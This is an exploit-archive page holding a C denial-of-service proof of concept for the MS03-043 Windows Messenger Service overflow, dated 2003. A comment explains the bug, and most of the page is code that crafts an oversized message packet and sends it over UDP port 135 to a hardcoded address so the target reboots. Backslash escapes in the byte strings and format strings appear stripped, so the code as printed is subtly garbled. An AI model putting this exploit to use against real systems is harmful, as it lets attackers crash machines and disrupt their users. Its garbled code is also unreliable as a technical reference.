[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : MS Windows Messenger Service Denial of Service Exploit (MS03-043)
# Published : 2003-10-18
# Author : LSD-PLaNET
# Previous Title : MS Exchange 2000 XEXCH50 Heap Overflow PoC (MS03-046)
# Next Title : Brute forcer for OpenSSL ASN.1 parsing bugs (<=0.9.6j <=0.9.7b)


/*

DoS Proof of Concept for MS03-043 - exploitation shouldn't be too hard.
Launching it one or two times against the target should make the 
machine reboot. Tested against a Win2K SP4.

"The vulnerability results because the Messenger Service does not 
properly validate the length of a message before passing it to the allocated 
buffer" according to MS bulletin. Digging into it a bit more, we find that when 
a character 0x14 in encountered in the 'body' part of the message, it is 
replaced by a CR+LF. The buffer allocated for this operation is twice the size 
of the string, which is the way to go, but is then copied to a buffer which 
was only allocated 11CAh bytes. Thanks to that, we can bypass the length checks 
and overflow the fixed size buffer.

Credits go to LSD :)

*/

#include <stdio.h>
#include <winsock.h>
#include <string.h>
#include <time.h>

// Packet format found thanks to a bit a sniffing
static unsigned char packet_header[] =
"x04x00x28x00"
"x10x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00xf8x91x7bx5ax00xffxd0x11xa9xb2x00xc0"
"x4fxb6xe6xfc"
"xffxffxffxff" // @40 : unique id over 16 bytes ?
"xffxffxffxff"
"xffxffxffxff"
"xffxffxffxff"
"x00x00x00x00x01x00x00x00x00x00x00x00"
"x00x00xffxffxffxff"
"xffxffxffxff" // @74 : fields length
"x00x00";

// Exploit downloaded on www.k-otik.com
unsigned char field_header[] =
"xffxffxffxff" // @0 : field length
"x00x00x00x00"
"xffxffxffxff"; // @8 : field length

int main(int argc,char *argv[])
{
	int i, packet_size, fields_size, s;
	unsigned char packet[8192];
	struct sockaddr_in addr;
	// A few conditions :
	// 0 <= strlen(from) + strlen(machine) <= 56
	// max fields size 3992
	char from[] = "RECCA";
	char machine[] = "ZEUS";
	char body[4096] = "*** MESSAGE ***";

	WSADATA wsaData;

	WSAStartup(0x0202, &wsaData);

	ZeroMemory(&addr, sizeof(addr));
	addr.sin_family = AF_INET;
	addr.sin_addr.s_addr = inet_addr("192.168.186.3");
	addr.sin_port = htons(135);

	ZeroMemory(packet, sizeof(packet));
	packet_size = 0;

	memcpy(&packet[packet_size], packet_header, sizeof(packet_header) - 
1);
	packet_size += sizeof(packet_header) - 1;

	i = strlen(from) + 1;
	*(unsigned int *)(&field_header[0]) = i;
	*(unsigned int *)(&field_header[8]) = i;
	memcpy(&packet[packet_size], field_header, sizeof(field_header) - 1);
	packet_size += sizeof(field_header) - 1;
	strcpy(&packet[packet_size], from);
	packet_size += (((i - 1) >> 2) + 1) << 2; // padded to a multiple of 4

	i = strlen(machine) + 1;
	*(unsigned int *)(&field_header[0]) = i;
	*(unsigned int *)(&field_header[8]) = i;
	memcpy(&packet[packet_size], field_header, sizeof(field_header) - 1);
	packet_size += sizeof(field_header) - 1;
	strcpy(&packet[packet_size], machine);
	packet_size += (((i - 1) >> 2) + 1) << 2; // padded to a multiple of 4

	fprintf(stdout, "Max 'body' size (incl. terminal NULL char) = %dn", 
3992 - packet_size + sizeof(packet_header) - sizeof(field_header));
	memset(body, 0x14, sizeof(body));
	body[3992 - packet_size + sizeof(packet_header) - sizeof(field_header) 
- 1] = '';

	i = strlen(body) + 1;
	*(unsigned int *)(&field_header[0]) = i;
	*(unsigned int *)(&field_header[8]) = i;
	memcpy(&packet[packet_size], field_header, sizeof(field_header) - 1);
	packet_size += sizeof(field_header) - 1;
	strcpy(&packet[packet_size], body);
	packet_size += i;

	fields_size = packet_size - (sizeof(packet_header) - 1);
	*(unsigned int *)(&packet[40]) = time(NULL);
	*(unsigned int *)(&packet[74]) = fields_size;

	fprintf(stdout, "Total length of strings = %dnPacket size = 
%dnFields size = %dn", strlen(from) + strlen(machine) + strlen(body), 
packet_size, fields_size);

/*
	for (i = 0; i < packet_size; i++)
	{
		if (i && ((i & 1) == 0))
			fprintf(stdout, " ");
		if (i && ((i & 15) == 0))
			fprintf(stdout, "n");
		fprintf(stdout, "%02x", packet[i]);
	}
	fprintf(stdout, "n");
*/
	if ((s = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1)
		exit(EXIT_FAILURE);

	if (sendto(s, packet, packet_size, 0, (struct sockaddr *)&addr, 
sizeof(addr)) == -1)
		exit(EXIT_FAILURE);
/*
	if (recvfrom(s, packet, sizeof(packet) - 1, 0, NULL, NULL) == -1)
		exit(EXIT_FAILURE);
*/

	exit(EXIT_SUCCESS);
}

// www.Syue.com [2003-10-18]